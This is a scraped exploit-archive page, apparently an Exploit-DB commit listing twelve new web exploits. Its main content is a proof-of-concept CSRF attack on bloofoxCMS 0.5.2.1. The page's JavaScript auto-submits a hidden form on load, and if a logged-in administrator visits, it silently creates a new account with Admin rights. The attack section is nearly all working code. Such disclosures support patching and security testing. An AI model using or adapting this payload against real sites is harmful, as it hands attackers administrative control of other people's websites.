f7b4bca87b
12 changes to exploits/shellcodes MyBB Delete Account Plugin 1.4 - Cross-Site Scripting Zoo Management System 1.0 - 'anid' SQL Injection User Management System 1.0 - 'uid' SQL Injection Park Ticketing Management System 1.0 - 'viewid' SQL Injection MyBB Trending Widget Plugin 1.2 - Cross-Site Scripting MyBB Thread Redirect Plugin 0.2.1 - Cross-Site Scripting bloofoxCMS 0.5.2.1 - CSRF (Add user) H8 SSRMS - 'id' IDOR Vehicle Parking Tracker System 1.0 - 'Owner Name' Stored Cross-Site Scripting Roundcube Webmail 1.2 - File Disclosure Klog Server 2.4.1 - Command Injection (Authenticated) WordPress 5.0.0 - Image Remote Code Execution
48 lines
No EOL
1.7 KiB
HTML
48 lines
No EOL
1.7 KiB
HTML
# Title: bloofoxCMS 0.5.2.1 - CSRF (Add user)
|
||
# Exploit Author: LiPeiYi
|
||
# Date: 2020-12-18
|
||
# Vendor Homepage: https://www.bloofox.com/
|
||
# Software Link: https://github.com/alexlang24/bloofoxCMS/releases/tag/0.5.2.1
|
||
# Version: 0.5.1.0 -.5.2.1
|
||
# Tested on: windows 10
|
||
|
||
#Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site
|
||
|
||
###PoC
|
||
<script type="text/javascript">
|
||
function post(url,fields)
|
||
{
|
||
var p = document.createElement("form");
|
||
p.action = url;
|
||
p.innerHTML = fields;
|
||
p.target = "_self";
|
||
p.method = "post";
|
||
document.body.appendChild(p);
|
||
p.submit();
|
||
}
|
||
function csrf_hack()
|
||
{
|
||
var fields;
|
||
|
||
fields += "<input type='hidden' name='username' value='testuser01' />";
|
||
fields += " <input type='hidden' name='password' value='testpw123' />";
|
||
fields += " <input type='hidden' name='pwdconfirm' value='testpw123' />";
|
||
fields += "<input type='hidden' name='3' value='Admin' />";
|
||
fields += " <input type='hidden' name='blocked' value='0' />";
|
||
fields += "<input type='hidden' name='deleted' value='0' />";
|
||
fields += "<input type='hidden' name='status' value='1' />";
|
||
fields += "<input type='hidden' name='login_page' value='0' />";
|
||
fields += "<input type='hidden' name='send' value='Add+User' />";
|
||
|
||
|
||
var url = "http://test.com/admin/index.php?mode=user&action=new&submit=send";
|
||
post(url,fields);
|
||
}
|
||
window.onload = function() { csrf_hack();}
|
||
</script>
|
||
|
||
</body>
|
||
</html>
|
||
|
||
|
||
exp detail：https://github.com/alexlang24/bloofoxCMS/issues/4 |